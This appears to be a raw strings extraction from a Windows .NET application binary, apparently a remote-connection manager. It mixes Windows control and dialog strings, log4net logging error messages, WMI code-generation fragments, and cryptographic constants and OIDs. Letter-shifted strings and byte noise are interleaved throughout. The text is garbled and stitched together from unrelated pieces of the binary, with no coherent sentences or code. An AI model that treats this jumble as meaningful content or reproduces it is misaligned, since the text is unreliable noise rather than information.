WUHH ain l ODWHU Ask m agaiO the connections tree. FRQQHFWLRQV WUHH the connections tree. me a FRQQHFWLRQV WUHH DJDLm VHWWLQJV VWRPL]H VHWWLQJV agair check for updates weekly. DJDL FKHFN XSGDWHV ZHHNO\ ain l Ask m me a 'LVSOD\ 'LVSOD\ ~}o8iI `xA{ujvz sh[Qk C:\WINDOWS\SysWOW64\ Microsoft.Windows.Shell.shell32,processorArchitecture="x86",type="win32",version="5.1.0.0"C:\WINDOWS\SysWOW64\SHELL32.dll Microsoft.Windows.Common-Controls Microsoft.Windows.Common-Controls,processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.26100.7705"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a.manifest x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a Microsoft.Windows.Common-Controls.Resources Microsoft.Windows.Common-Controls.Resources,language="en-us",processorArchitecture="x86",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.26100.1591"C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_en-us_9bc82bd5245023f6.manifest x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_en-us_9bc82bd5245023f6 en-US comctl32.dll comctl32.dll.mui ToolbarWindow32 6.0.26100.7705!ToolbarWindow32 comctl32.dll ComboBoxEx32 6.0.26100.7705!ComboBoxEx32 comctl32.dll msctls_trackbar32 6.0.26 kernel32 jjjjjj 0770 &XVWRPL]H VHWWLQJV VWRPL]H VHWWLQJV XVWRPL]H VHWWLQJV UHFRPPHQGHG VHWWLQJV XUHV IL[HV UHFRPPHQGHG WKDW DOORZ P5HPRWH1* FKHF This is the name that will be displayed in the connections tree. name that will be displayed in the connections tree. 7KLV QDPH WKDW ZLOO GLVSOD\HG FRQQHFWLRQV WUHH P5HPRWH1* FKHFN XSGDWHV ZHHN en-US &Undo Cu&t &Copy &Paste &Delete Select &All &Right to left Reading order &Show Unicode control characters &Insert Unicode control character LRM &Left-to-right mark RLM &Right-to-left mark ZWJ Zero width &joiner ZWNJ Zero width &non-joiner LRE Start of left-to-right &embedding RLE Start of right-to-left e&mbedding LRO Start of left-to-right &override RLO Start of right-to-left o&verride PDF &Pop directional formatting NADS N&ational digit shapes substitution NODS Nominal (European) &digit shapes ASS Activate &symmetric swapping ISS Inhibit s&ymmetric swapping AAFS Activate Arabic &form shaping IAFS Inhibit Arabic form s&haping RS Record Separator (&Block separator) US Unit Separator (&Segment separator) &What's This? &Restore &Move &Size Mi&nimize Ma&ximize &Close Alt+F4 &Restore &Move &Size Mi&nimize Ma&ximize &Close Ctrl+F4 Nex&t Ctrl+F6 &Move &Close Alt+F4 Scroll Here Left Edge Right Edge Page Left Page Right Scroll Left Scroll Right Scroll Here Bottom Page Up Page Down Scroll Up Scroll Down Select Window MS Shell Dlg Cancel Error &More Windows...gInsufficient memory to create the bitmap. Close one or more applications to increase available memory. &Open IME C&lose IME Op&en Soft Keyboard Close So&ft Keyboard &Reconversion shutdown power off restart unknown Windows If you shut down this remote computer, no one can use it until someone at the remote location manually restarts it. Do you want to continue shutting down? Other people are logged on to this remote computer. Shutting down Windows might cause them to lose data. Also, someone at the remote location will have to restart the computer manually. Do you want to continue shutting down? Other people are logged on to this computer. Shutting down Windows might cause them to lose data. Do you want to continue shutting down? Other people are logged on to this computer. Restarting Windows might cause them to lose data. Do you want to continue restarting? Safe Mode (Not Responding) One or more devices on your network are using the computer resources. Shutting down Windows might cause them to lose data. Also, someone at the remote location will have to restart the computer manually. Do you want to continue shutting down? Other people and devices are using the computer resources. Shutting down Windows might cause them to lose data. Also, som !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ntdll.dll comctl32.dll @ @@@`@ $!0%3tH!ItY s!u!| %$&$'$($)$*$+$,$-$.$/$10548797:7;7<7=7@?A?CBDBEBIHKJLJSRTRURVRWRXR^]cbnmompmwvyx}| DockingManager Count Item Name Could not read in next expected node Incorrect node name found System.String Control Collection {0} V:{1} T:{2} N:{3} &Close Pro&minent &Rebalance Move to &Previous Tab Group Move to &Next Tab Group New &Vertical Tab Group New &Horizontal Tab Group Magic, The User Interface library for .NET (www.dotnetmagic.com) Modifying this generated file will probably render it invalid TabbedGroups FormatVersion ActiveLeaf CustomGlobalData Root element must be 'TabbedGroups' Can only load Version 1 and upwards TabbedGroups Configuration files An element was expected but could not be read in Expected 'CustomData'og Step of MenuItem Crownwood.Magic.Menus.MenuControl Crownwood.Magic.Resources.ImagesMenuControl.bmp Crownwood.Magic.Menus.PopupMenu Crownwood.Magic.Resources.ImagesPopupMenu.bmp NativePopupMenu Shift+ Ctrl+ Alt+ 0123456789abcdefABCDEFxX.:% T#)*T? E)F)K5Q9S E L!M"R#W&\*]+^.a/b0d1h2j3o4p5w8y9z;{> #"%#&"'"(")",+-+.+0/657585:9<;=;>;?;@;BAEDFEVUedfdgdhd eorl Finalizing appender named [ You have tried to set a null error-handler. Attempted to append to closed appender named [ Failed in DoAppend Failed in Bulk DoAppend filter param must not be null AppenderSkeleton: No layout set for the appender named [ A layout must be set Appender [ ] is Lossy but has no Evaluator. The buffer will never be sent! System.Data.OleDb.OleDbConnection, System.Data, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Attempting to reconnect to database. Current Connection State: Exception while writing to database LogStatement [ AdoNetAppender: No Layout specified. ConnectionString ConnectionStringName Unable to find [ ] ConfigurationManager.ConnectionStrings item AppSettingsKey ] AppSettings key. Unable to resolve connection string from ConnectionString, ConnectionStrings, or AppSettings. Failed to load connection type [ Unable to determine connection string context. Could not open database connection [ ]. Connection string context [ Exception while disposing cached connection object Console.Out Console.Error list Destination array was not long enough. Cannot remove the specified item because it was not found in the specified Collection. Index was out of range. Must be non-negative and less than the size of the collection. [ ] Specified argument was out of the range of valid values. Collection was modified; enumeration operation may not execute. This is a Read Only Collection and can not be modified %logger newAppender Application Changing event source [ ] from log [ ] to log [ Creating event source Source [ ] in log Source [ ] is registered to log [ Caught a SecurityException trying to access the EventLog. Most likely the event source doesn't exist and must be created by a local administrator. Will disable EventLogAppender. See http://logging.apache.org/log4net/release/faq.html#trouble-EventLog EventID Unable to parse event ID property [ Category Unable to parse event category property [ Unable to write to event log [ ] using source [ No output stream or file set for the appender named [ Output stream for appender named [ ] has been closed. TextWriterAppender: You have tried to set a null error-handler. Could not close writer [ FileAppender: File option not set for appender [ FileAppender: Are you using FileAppender instead of ConsoleAppender? OpenFile( ) call failed. INTERNAL ERROR. OpenFile( ): File name is not fully qualified. Opening file for writing [ ] append [ Locking model may not be null locking The file is not currently locked Unable to acquire lock on file Programming error, no mutex available to acquire lock! From here on things will be dangerous! Programming error, no mutex available to release the lock! Programming error, mutex already initialized! Programming error, mutex not initialized! Recipient The required property 'Recipient' was not specified. (Params: Server= , Recipient= , Sender= value The value specified is less than or greater than The required property 'Address' was not specified. this.RemotePort The RemotePort is less than this.LocalPort The LocalPort is less than Unable to send logging event to remote host on port Could not initialize the UdpClient connection on port 127.0.0.1 Unable to send logging event to remote syslog SyslogFacility out of range facility SyslogSeverity out of range severity typeFilterLevel Full RemotingAppender [ ] failed to ThreadPool.QueueUserWorkItem logging events in SendBuffer. ] failed to send all queued events before close, in OnClose. Failed in SendBufferCallback .yyyy-MM-dd RollingFileAppender: INTERNAL ERROR. Append is False but OutputFile [ ] already exists. curSizeRollBackups starts at [ Searched for existing files in [ ] vs. [ Initial roll over to [ curSizeRollBackups after rollOver at [ Output file [ ] already exists. MaxSizeRollBackups is 0; cannot roll. Overwriting existing file. ] already exists. Not appending to file. Rolling existing file out of the way. Ignoring file [ ] because it is from a different date period File name [ ] moves current count to [ Encountered a backup file not ending in .x [ Type = [ ], r0 = [ ], r1 = [ Invalid RollPoint, unable to parse [ Either DatePattern or rollingStyle options are not set for [ Missing DatePattern option in rollOver(). Compare Moving [ ] -> [ Exception while rolling file [ Cannot RollFile [ ]. Source does not exist .DeletePending Exception while moving file to be deleted [ Deleted file [ Exception while deleting file [ Exception while deleting temp file [ rolling over count [ maxSizeRollBackups [ curSizeRollBackups [ countDirection [ Error occurred while sending e-mail notification. Failed to create output file for writing [ To: From: Subject: Date: The value specified for Port is less than Creating SocketHandler to listen on port [ Failed to create SocketHandler Accepting connection from [ TelnetAppender v1.0 ( active connections) Sorry - Too many connections. %timestamp [%thread] %level %logger %ndc - %message%newline BasicConfigurator: Repository [ ] does not support the BasicConfigurator XmlConfiguratorAttribute: Exception getting ConfigurationFileLocation. Must be able to resolve ConfigurationFileLocation when ConfigFile and ConfigFileExtension properties are not set. Exception getting ApplicationBaseDirectory. Must be able to resolve ApplicationBaseDirectory and AssemblyFileName when ConfigFileExtension property is set. Exception getting ApplicationBaseDirectory. ConfigFile property path [ ] will be treated as an absolute path. XmlConfiguratorAttribute: Exception getting ConfigurationFileLocation. Must be able to resolve ConfigurationFileLocation when the ConfigFile property are not set. ] will be treated as an absolute URI. XmlConfiguratorAttribute: Unable to watch config file loaded from a URI Plugin type [ ] does not implement the log4net.IPlugin interface PluginAttribute[Type= Attribute specified on assembly [ ] with null ProviderType. Creating provider of type [ Failed to create SecurityContextProvider instance of type [ configuring repository [ ] using .config file section Application config file is [ Application config file location unknown log4net Failed to find configuration section 'log4net' in the application's .config file. Check your .config file for the and elements. The configuration section should look like:
Unrecognized element Failed to parse config file. Check your .config file is well formed XML.
Failed to parse config file. Is the specified as: ] using XML element ] using file [ Configure called with null 'configFile' parameter Failed to open XML config file [ config file [ ] not found. Configuration unchanged. ] using URI [ Configure called with null 'configUri' parameter Failed to create WebRequest for URI [ Failed to request config from URI [ ] using stream Configure called with null 'configStream' parameter Error while loading XML configuration loading XML configuration XML configuration does not contain a element. Configuration Aborted. XML configuration contains [ ] elements. Only one is allowed. Configuration Aborted. ] watching for file updates ConfigureAndWatch called with null 'configFile' parameter Failed to initialize configuration file watcher for file [ ConfigureFromXml called with null 'element' parameter ConfigureFromXml called with null 'repository' parameter Configuring Repository [ Repository [ ] does not support the XmlConfigurator ConfigureAndWatchHandler: defaultRepositoryType Parameter: defaultRepositoryType, Value: [ ] out of range. Argument must implement the ILoggerRepository interface defaultRepositoryType [ repositoryName ] is NOT defined. log4net-default-repository ] is already defined. Repositories cannot be redefined. Creating repository [ ] using type [ repositoryAssembly Creating repository for assembly [ Assembly [ ] using repository [ ] and repository type [ Failed to configure repository [ ] from assembly attributes. repository [ ] already exists, using repository type [ Aliasing repository [ ] to existing repository [ Failed to alias repository [ ]. Requested repository type [ ] is not compatible with existing type [ repositoryAlias repositoryTarget ] is already aliased to repository [ ]. Aliases cannot be redefined. ] already exists and cannot be aliased to repository [ assembly ] Loaded From [ ] does not have a RepositoryAttribute specified. ] has multiple log4net.Config.RepositoryAttribute assembly attributes. Only using first occurrence. ] has a RepositoryAttribute but it does not!. DefaultRepositorySelector: Repository Type [ ] must implement the ILoggerRepository interface. Unhandled exception in GetInfoForAssembly repository Exception calling [ ] .Configure method. log4net.Config Exception getting ApplicationBaseDirectory. appSettings log4net.Config path [ ] will be treated as an absolute URI log4net.Config.Watch DefaultRepositorySelector: Exception while parsing log4net.Config file physical path [ Loading and watching configuration for default repository from AppSettings specified Config path [ DefaultRepositorySelector: Exception calling XmlConfigurator.ConfigureAndWatch method with ConfigFilePath [ Exception while parsing log4net.Config file path [ Loading configuration for default repository from AppSettings specified Config URI [ Exception calling XmlConfigurator.Configure method with ConfigUri [ Failed to create plugin. Attribute [ exType loggingEvent levelName displayName Parameter: r, Value: [ ] is not an instance of Level log4net:DEBUG EMERGENCY FATAL ALERT CRITICAL SEVERE ERROR WARN NOTICE INFO DEBUG FINE TRACE FINER VERBOSE FINEST threshold name Parameter: name, Value: [ ] out of range. Level name must not be empty level defaultLevel Security exception while trying to get caller stack frame. Error Ignored. Location Information Not Available. Security Exception (ControlAppDomain LinkDemand) while trying to register Shutdown handler with the AppDomain. LoggerManager.Shutdown() will not be called automatically when the AppDomain exits. It must be called programmatically. log4net.RepositorySelector Exception while resolving RepositorySelector Type [ Exception while creating RepositorySelector [ RepositorySelector Type [ ] is not an IRepositorySelector type repositoryType log4net assembly [ Loaded from [ (.NET Runtime [ on LoggerName Level Message ThreadName TimeStamp LocationInfo UserName ExceptionString Properties Domain Identity Security exception while trying to get current thread ID. Error Ignored. Empty thread name. Security exception while trying to get current windows identity. Error Ignored. Empty user name. Object disposed exception while trying to get current thread principal. Error Ignored. Empty identity name. Security exception while trying to get current thread principal. Error Ignored. Empty identity name. log4net:UserName log4net:Identity An exception ocurred while retreiving method parameters. An exception ocurred while retreiving stack frame information. state must be of type [ state ISO8601 ABSOLUTE DATE Could not instantiate SimpleDateFormatter with [ Error occurred while converting date. message source stacktrace targetsite helplink NamedPatternConverter: Precision option ( ) isn't a positive integer. NamedPatternConverter: Precision option " " not a decimal integer. StackTracePatternConverter: StackeFrameLevel option ( StackTracePatternConverter: StackFrameLevel option " loggingEvent.LocationInformation.StackFrames was null or empty. {0}.{1} {0}, An exception ocurred while retreiving method information. text/plain literal newline aspnet-cache aspnet-context aspnet-request aspnet-session logger class date exception file location line method property properties timestamp stacktracedetail thread appdomain identity utcdate utcDate UtcDate username %message%newline writer converterInfo The converter type specified [ ] must be a subclass of log4net.Util.PatternConverter text/xml event data locationInfo :event :message :properties :data :exception :locationInfo domain Only version 1.2 of the log4j schema is currently supported log4net:HostName log4jmachinename log4japp log4j:event log4j:message log4j:NDC log4j:properties log4j:data log4j:throwable log4j:locationInfo rendererMap Exception while rendering object of type [ Exception rendering object type [ typeToRender renderer plugin RemoteLoggingServerPlugin:Unset URI RemoteLoggingServerPlugin: Failed to Marshal remoting sink Exception while logging No appenders could be found for logger [ ] repository [ Please initialize the log4net system properly. Current AppDomain context information: BaseDirectory : FriendlyName : DynamicDirectory: LoggerRepositorySkeleton: Threshold cannot be set to null. Setting to ALL rendererInstance millisecondsTimeout Timeout must be -1 (Timeout.Infinite) or non-negative loggerFactory Shutdown called on Hierarchy [ logEvent factory Unexpected object type [ ] in ht. levelEntry levelEntry.Name Cannot redefine level [ ] because it is not defined in the LevelMap. To define the level supply the level value. propertyEntry propertyEntry.Key LevelEntry(Value= , Name= , DisplayName= root You have tried to set a null level to root. Xml element is - not a element. emitDebug emitDebug attribute [ null Ignoring emitDebug attribute. debug debug attribute [ Ignoring debug attribute. configDebug The "configDebug" attribute is deprecated. Use the "debug" attribute instead. update Invalid update attribute value [ Configuration update mode [ Configuration reset before reading config. category appender Hierarchy Threshold [ Unable to set hierarchy threshold using value [ ] (with acceptable conversion types) XmlHierarchyConfigurator: No appender named [ ] could be found. Loading Appender [ ] type: [ appender-ref Attaching appender named [ ] to appender named [ Requesting attachment of appender named [ ] which does not implement log4net.Core.IAppenderAttachable. Created Appender [ Could not create Appender [ ] of type [ ]. Reported error follows. Retrieving an instance of log4net.Repository.Logger for logger [ additivity Setting [ ] additivity to [ Adding appender named [ ] to logger [ Appender named [ ] not found. priority renderingClass renderedClass Rendering class [ ], Rendered class [ Could not instantiate renderer [ Could not find class [ Logger [ ] Level string is [ inherited Root level cannot be inherited. Ignoring directive. ] level set to inherit from parent. Undefined level [ ] on Logger [ ] level set to [name=" ",value= param XmlHierarchyConfigurator: Cannot find Property [ ] to set object on [ Security exception while trying to expand environment variables. Error Ignored. No Expansion. Parameter [ ] specified subtype [ subtype [ ] set on [ ] is not a subclass of property type [ ] and there are no acceptable type conversions. Failed to find type [ Performing additional conversion of value from [ ] to [ Setting Property [ ] to value [ Failed to set parameter [ ] on object [ ] using value [ Setting Collection Property [ Unable to set property [ Failed to create object to set param: ] to object [ XmlHierarchyConfigurator: Unknown Level Specified [ Object type not specified. Cannot create object of type [ ]. Missing Value or Type. Object type [ ] is not assignable to type [ ]. There are no acceptable type conversions. XmlHierarchyConfigurator: Failed to construct object of type [ ] Exception: Error occurred while converting environment variable. Security exception while trying to get current thread principal. Error Ignored. Should never get here because of the overridden Format method UNIX Security exception while trying to get current process id. Error Ignored. RandomStringPatternConverter: Could not convert Option [ ] to Length Int32 Error occurred while converting. Security exception while trying to get current windows identity. Error Ignored. Cannot convert value [null] to type [ Cannot convert from type [ ] value [ ] to type [ converterType CreateConverterInstance cannot create instance, converterType is null Cannot CreateConverterInstance of type [ ], Exception in call to Activator.CreateInstance ], type does not implement IConvertFrom or IConvertTo Failed to append to appender [ loggingEvents loggingEvents array must not be empty Failed to Close appender [ errorHandler Failed to write [ Failed to write buffer. maxSize Parameter: maxSize, Value: [ ] out of range. Non zero positive integer required SecurityException while accessing CallContext. Disabling LogicalThreadContextProperties log4net.Util.LogicalThreadContextProperties ThreadContextStacks: Request for stack named [ ] failed because a property with the same name exists which is a [ ] with value [ log4net.Internal.Debug log4net.Internal.Quiet log4net.Internal.Emit Exception while reading ConfigurationSettings. Check your .config file is well formed XML. log4net: log4net:WARN log4net:ERROR 0x{0:x8} ] ErrorCode: ] is not in proper bool form. OptionConverter: [ ] is not in the correct file size syntax. target Parse Cannot convert source object [ ] to target type [ sourceInstance OptionConverter: A [ ] object is not assignable to a [ ] variable. Could not instantiate class [ ] has no closing brace. Opening brace at position [ Converter [ ] Option [ ] Format [min= ,max= ,leftAlign= Unknown converter name [ ] in conversion pattern. Failed to create instance of Type [ ] using default constructor. Exception: envFolderPath processid random appsetting appSetting AppSetting This is a Read Only Dictionary and can not be modified key must be a string PropertyEntry(Key= , Value= (null) NOT AVAILABLE log4net.NullText Initializing NullText value to [ log4net.NotAvailableText Initializing NotAvailableText value to [ Socket exception occurred while getting the dns hostname. Error Ignored. Security exception occurred while getting the dns hostname. Error Ignored. Some other exception occurred while getting the dns hostname. Error Ignored. Could not determine the hostname. Error Ignored. Empty host name will be used Security exception while trying to get current domain friendly name. Error Ignored. Global Assembly Cache Dynamic Assembly Location Detect Failed ( Location Permission Denied Loaded type [ ] from assembly [ ] by searching loaded assemblies. Could not load type [ ]. Tried assembly [ ] and all loaded assemblies path Exception while rendering format [ Exception during StringFormat: Exception during StringFormat INTERNAL ERROR during StringFormat error handling Exception during StringFormat. See Internal Log. q@rHvI~J wbemObject __SERVER __NAMESPACE __CLASS propertyName IncludeQualifiers IncludeClassOrigin otherObject __GENUS value __DERIVATION watcher newClassName dmtfDate **** ****** +000 dmtfTimespan :000 Description errorCode errorObject path __PATH __RELPATH methodName RETURNVALUE array index Type root //./root/cimv2 destinationType INVALID_QUERY_DUP_TOKEN INVALID_QUERY INVALID_QUERY_NULL_TOKEN select queryOrClassName isSchemaQuery from select * from meta_class where where select from meta_class where queryOrSourceObject associators resultclass assocclass resultrole role requiredqualifier requiredassocqualifier classdefsonly schemaonly references queryOrEventClassName within group within by having within group within having having select * SOFTWARE\Microsoft\.NETFramework\v4.0.30319 WMIDisableCOMSecurity \wminet_utils.dll ResetSecurity SetSecurity BlessIWbemServices BlessIWbemServicesObject GetPropertyHandle WritePropertyValue Clone VerifyClientKey GetQualifierSet Delete GetNames BeginEnumeration Next EndEnumeration GetPropertyQualifierSet GetObjectText SpawnDerivedClass SpawnInstance CompareTo GetPropertyOrigin InheritsFrom GetMethod PutMethod DeleteMethod BeginMethodEnumeration NextMethod EndMethodEnumeration GetMethodQualifierSet GetMethodOrigin QualifierSet_Get QualifierSet_Put QualifierSet_Delete QualifierSet_GetNames QualifierSet_BeginEnumeration QualifierSet_Next QualifierSet_EndEnumeration GetCurrentApartmentType GetDemultiplexedStub CreateInstanceEnumWmi CreateClassEnumWmi ExecQueryWmi ExecNotificationQueryWmi PutInstanceWmi PutClassWmi CloneEnumWbemClassObject ConnectServerWmi GetErrorInfo Initialize propertyValue qualifierName 8.0.0.0 NULLFILEPATH_EXCEPT EMPTY_FILEPATH_EXCEPT NAMESPACE_NOTINIT_EXCEPT CLASSNAME_NOTINIT_EXCEPT GeneratedClassName ComponentClass NamespaceProperty System.String COMMENT_ORIGNAMESPACE CreationWmiNamespace COMMENT_CREATEDWMINAMESPACE CreationClassName COMMENT_CREATEDCLASS SystemPropertiesProperty SystemPropertiesClass SystemPropertiesObject COMMENT_SYSOBJECT LateBoundObjectProperty BaseObjClass CurrentObject COMMENT_LATEBOUNDPROP AutoCommitProperty System.Boolean COMMENT_AUTOCOMMITPROP statMgmtScope ScopeClass COMMENT_STATICMANAGEMENTSCOPE staticScope COMMENT_STATICSCOPEPROPERTY LateBoundObject LateBoundClass COMMENT_LATEBOUNDOBJ COMMENT_PRIVAUTOCOMMIT EmbeddedObject COMMENT_EMBEDDEDOBJ COMMENT_CURRENTOBJ IsEmbedded COMMENT_FLAGFOREMBEDDED COMMENT_CLASSBEGIN singleton SystemProperties OriginatingNamespace ClassNameProperty ManagementClassName ScopeProperty Scope PathProperty Path ManagementSystemProperties System.Management.ManagementObject PathClass System.Management.ManagementPath System.Management.ManagementScope QueryOptionsClass System.Management.EnumerationOptions GetOptionsClass System.Management.ObjectGetOptions ArgumentExceptionClass System.ArgumentException QueryClass SelectQuery ObjectSearcherClass System.Management.ManagementObjectSearcher FilterFunction GetInstances ConstructPathFunction ConstructPath TypeConverter AutoCommit CommitMethod CommitObject ManagementClass EMBEDED_CS_CODESAMP6 EMBEDED_CS_CODESAMP7 EMBEDED_CS_CODESAMP8 EMBEDED_CS_CODESAMP9 EMBEDED_CS_CODESAMP10 EMBEDED_CS_CODESAMP11 EMBEDED_CS_CODESAMP12 EMBEDED_CS_CODESAMP13 EMBEDED_CS_CODESAMP14 EMBEDED_CS_CODESAMP15 SubType interval COMMENT_TIMESPANCONVFUNC COMMENT_DATECONVFUNC tmpMgmtClass year month hour minute second ticks dmtf tempString datetime COMMENT_TODATETIME initializer Year Month Hour Minute Second Substring Parse TicksPerMillisecond Message AddTicks System.TimeZone CurrentTimeZone GetUtcOffset tickOffset UTCOffset OffsetToBeAdjusted OffsetMins Ticks TicksPerMinute AddMinutes dmtftimespan timespan tsTemp microsec strMicroSec COMMENT_TODMTFTIMEINTERVAL Days System.Int32 PadLeft MaxValue maxTimeSpan minTimeSpan Hours Minutes Seconds System.Int64 utcString date COMMENT_TODMTFDATETIME System.Math ToUniversalTime strTemp dmtfDateTime dtTemp strMicrosec days hours minutes seconds COMMENT_TOTIMESPAN FromTicks Concat flatWbemClassObject __path DC12A681-737F-11CF-884D-00AA004B2E24 WORKER_THREAD_WAKEUP_FAILED 51372AE0-CAE7-11CF-BE81-00AA00A2FA25 000001ce-0000-0000-C000-000000000046 {0:x2} _SN_ _Version_ _Mvid_ root\default ^[a-z,A-Z] [^a-z,A-Z,0-9,_,\u0080-\uFFFF] __ExtrinsicEvent using {0}; 00000000-0000-0000-C000-000000000046 {{{0}}} - {1} - {2} (.*?)\.instanceid="(.*?)",processid="(.*?)" ToWMI instWbemObjectAccessIP InstanceId ProcessId assemblyToRegister ASSEMBLY_NOT_REGISTERED System.Management.Instrumentation.IEvent System.Management.Instrumentation.IInstance FAILED_TO_BUILD_GENERATED_ASSEMBLY WMINET_Converter mapTypeToConverter /MOF=[filename] FILETOWRITE_MOF /Force or /F FORCE_UPDATE assemblypath WMISCHEMA_INSTALLATIONSTART force REGESTRING_ASSEMBLY WMISCHEMA_INSTALLATIONEND defaultmoffile .mof MOFFILE_GENERATING //************************************************************************** //* {0} UNSUPPORTEDMEMBER_EXCEPT abstract CLASSINST_EXCEPT public class : IWmiConverter static ManagementClass managementClass = new ManagementClass(@" static IntPtr ToUniversalTime()); int diffUTC = (ts.Minutes + ts.Hours * 60); if(diffUTC >= 0) return String.Format("{0:D4}{1:D2}{2:D2}{3:D2}{4:D2}{5:D2}.{6:D3}000+{7:D3}", dt.Year, dt.Month, dt.Day, dt.Hour, dt.Minute, dt.Second, dt.Millisecond, diffUTC); return String.Format("{0:D4}{1:D2}{2:D2}{3:D2}{4:D2}{5:D2}.{6:D3}000-{7:D3}", dt.Year, dt.Month, dt.Day, dt.Hour, dt.Minute, dt.Second, dt.Millisecond, -diffUTC); } public static string WMITimeToString(TimeSpan ts) { return String.Format("{0:D8}{1:D2}{2:D2}{3:D2}.{4:D3}000:000", ts.Days, ts.Hours, ts.Minutes, ts.Seconds, ts.Milliseconds); } public static string[] WMITimeArrayToStringArray(DateTime[] dates) { string[] strings = new string[dates.Length]; for(int i=0;i0@1E5G6I8K9M:V;W<^?_@bAdBfCgDjElFoGtHuIvJxK{L wUVW FRP256v1 F1FD178C0B3AD58F10126DE8CE42435B3961ADBCABC8CA6DE8FCF353D86E9C03 F1FD178C0B3AD58F10126DE8CE42435B3961ADBCABC8CA6DE8FCF353D86E9C00 EE353FCA5428A9300D4ABA754A44C00FDFEC0C9AE4B1A1803075ED967B7BB73F F1FD178C0B3AD58F10126DE8CE42435B53DC67E140D2BF941FFDD459C6D655E1 04B6B3D4C356C139EB31183D4749D423958C27D2DCAF98B70164C97A2DD98F5CFF6142E0F7C8B204911F9271F0F3ECEF8C2701C307E8E4C9E183115A1554062CFB 1.2.250.1.223.101.256.1 1.3.6.1.4.1.22554 .2.1 .2.2 .2.3 .2.4 .1.2 .1.22 .1.42 Invalid object: certOrEncCert unknown tag: tagged certificate encryptedCert response certReqId status only version 3 certificates allowed x509v3PKCert 1.2.840.113533.7.66.13 1.2.840.113533.7.66.30 1.3.6.1.5.5.7.4.1 1.3.6.1.5.5.7.4.2 1.3.6.1.5.5.7.4.3 1.3.6.1.5.5.7.4.4 1.3.6.1.5.5.7.4.5 1.3.6.1.5.5.7.4.6 1.3.6.1.5.5.7.4.7 1.3.6.1.5.5.7.4.10 1.3.6.1.5.5.7.4.11 1.3.6.1.5.5.7.4.12 1.3.6.1.5.5.7.4.13 1.3.6.1.5.5.7.4.14 1.3.6.1.5.5.7.4.15 1.3.6.1.5.5.7.4.16 1.3.6.1.5.5.7.5.1.1 1.3.6.1.5.5.7.5.1.2 1.3.6.1.5.5.7.5.1.3 1.3.6.1.5.5.7.5.1.4 1.3.6.1.5.5.7.5.1.5 1.3.6.1.5.5.7.5.1.6 1.3.6.1.5.5.7.5.1.7 1.3.6.1.5.5.7.5.2.1 1.3.6.1.5.5.7.5.2.2 1.2.840.113549.1.9.16.1.21 pkiStatusInfo unknown tag number: type extra data found after object cannot recognise object in byte array cannot recognise object in stream illegal object in GetInstance: data must be in the range 0 to 7 padBits if 'data' is empty, 'padBits' must be 0 attempt to get non-octet aligned data from BIT STRING truncated BIT STRING detected octets PkiFailureInfo: 0x Unknown object in factory: attempt to insert non UTF8 STRING into PkiFreeText status and revCerts sequence must be in common order Invalid MQVuserKeyingMaterial: unknown object in factory: digestAlgorithm and authAttrs must be set together Invalid AuthenticatedData: Invalid AuthEnvelopedData: 1.3.6.1.5.5.7.16 Invalid CompressedData: Bad sequence size: Bad tag for 'content' Invalid EncryptedContentInfo: Invalid EncryptedData: encInfo Unknown object in GetInstance: Invalid KekIdentifier Invalid KekIdentifier: Invalid KekRecipientInfo: Invalid KeyAgreeRecipientIdentifier: Illegal object in KeyAgreeRecipientInfo: Illegal object in KeyTransRecipientInfo: Can't implicitly tag OriginatorIdentifierOrKey Invalid OriginatorIdentifierOrKey: Bad tag in OriginatorInfo: OriginatorInfo too big Invalid OriginatorInfo: Invalid OriginatorPublicKey: Invalid PasswordRecipientInfo: Invalid RecipientEncryptedKey: Illegal object in RecipientIdentifier: unknown tag Invalid RecipientKeyIdentifier Invalid RecipientKeyIdentifier: unknown tag value unknown object encountered: GetCerts() has not been called. GetCerts() and/or GetCrls() has not been called. Illegal object in SignerIdentifier: time unknown object passed to Time yyyyMMddHHmmss invalid date string: certReq 1.3.6.1.5.5.7 encValue unknown tag in PopoPrivKey Unknown PopoSigningKeyInput tag: Unknown authInfo tag: value unknown value: 1.2.643.2.2.9 1.2.643.2.2.10 1.2.643.2.2.21 1.2.643.2.2.31.1 1.2.643.2.2.20 1.2.643.2.2.19 1.2.643.2.2.4 1.2.643.2.2.3 1.2.643.2.2.30.1 1.2.643.2.2.32.2 1.2.643.2.2.32.3 1.2.643.2.2.32.4 1.2.643.2.2.32.5 1.2.643.2.2.33.1 1.2.643.2.2.33.2 1.2.643.2.2.33.3 1.2.643.2.2.35.1 1.2.643.2.2.35.2 1.2.643.2.2.35.3 1.2.643.2.2.36.0 1.2.643.2.2.36.1 115792089237316195423570985008687907853269984665640564039457584007913129639319 115792089237316195423570985008687907853073762908499243225378155805079068850323 115792089237316195423570985008687907853269984665640564039457584007913129639316 64033881142927202683649881450433473985931760268884941288852745803908878638612 57896044618658097711785492504343953926634992332820282019728792003956564823193 57896044618658097711785492504343953927102133160255826820068844496087732066703 57896044618658097711785492504343953926634992332820282019728792003956564823190 28091019353058090096996979000309560759124368558014865957655842872397301267595 28792665814854611296992347458380284135028636778229113005756334730996303888124 70390085352083305199547718019018437841079516630045180471284346843705633502619 70390085352083305199547718019018437840920882647164081035322601458352298396601 70390085352083305199547718019018437841079516630045180471284346843705633502616 32858 29818893917731240733471273240314769927240550812383695689146495261604565990247 GostR3410-2001-CryptoPro-A GostR3410-2001-CryptoPro-B GostR3410-2001-CryptoPro-C GostR3410-2001-CryptoPro-XchA GostR3410-2001-CryptoPro-XchB Invalid GOST3410Parameter: Wrong number of elements in sequence 127021248288932417465907042777176443525787653508916535812817507265705031260985098497423188333483401180925999995120988934130659205614996724254121049274349357074920312769561451689224110579311248812610229678534638401693520013288995000362260684222750813532307004517341633685004541062586971416883686778842537820383 68363196144955700784444165611827252895102170888761442055095051287550314083023 